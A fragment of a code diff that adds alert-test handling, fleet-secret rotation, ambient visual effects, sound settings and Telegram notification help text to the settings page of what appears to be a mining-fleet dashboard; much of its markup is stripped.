(smtp) { + parts.push(smtp.sent ? '✓ Email delivered' : `✕ Email: ${smtp.error || 'failed'}`); + } + setAlertTestMsg(parts.join(' · ') || 'No channels configured.'); + if (tg?.sent || smtp?.sent) previewSfx('success'); + } catch (e: unknown) { + setAlertTestMsg('Test failed: ' + (e instanceof Error ? e.message : String(e))); + } finally { + setTestingAlerts(false); + setTimeout(() => setAlertTestMsg(''), 12000); + } + }; + const handleRotateSecret = async () => { if (!window.confirm( 'Rotate fleet secret?\n\n' + @@ -278,7 +339,18 @@ export default function SettingsPage() { +
+ {backupMsg && ( +
{backupMsg}
+ )}

{saveMessage && ( @@ -333,6 +405,86 @@ export default function SettingsPage() { )}
+ +

Deck Atmosphere

+

+ Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on + low-power devices if you want a calmer deck. +

+
+ +
+
+ + +

Sound & Haptics

+

+ Short UI bleeps and vibration on supported phones/tablets. Browsers require a click anywhere + on the deck first to unlock audio. Fleet events (agents, shares, alerts) use separate cues. +

+
+ +
+
+ + setSfxVolume(parseInt(e.target.value, 10) / 100)} + /> +
+
+ + + +
+
+

Control Server

How this dashboard and API are hosted on your network.

@@ -527,7 +679,9 @@ export default function SettingsPage() {

Alert Notifications

-

Telegram and email when fleet thresholds fire (offline, hashrate crash, rejection spike).

+

+ Telegram (and optional email) for fleet events. Set bot token + chat ID, choose what to send, then save. +

@@ -537,9 +691,68 @@ export default function SettingsPage() {
updateField('alerts.telegram_chat_id', e.target.value)} placeholder="-100…" /> + onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
+

+ Open your bot in Telegram, send any message (e.g. /start), then use{' '} + @userinfobot to copy your numeric ID, + or read it from getUpdates on the Bot API. Save Calibrate, then test. +

+
+ + {alertTestMsg && {alertTestMsg}} +
+

Notify me when…

+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +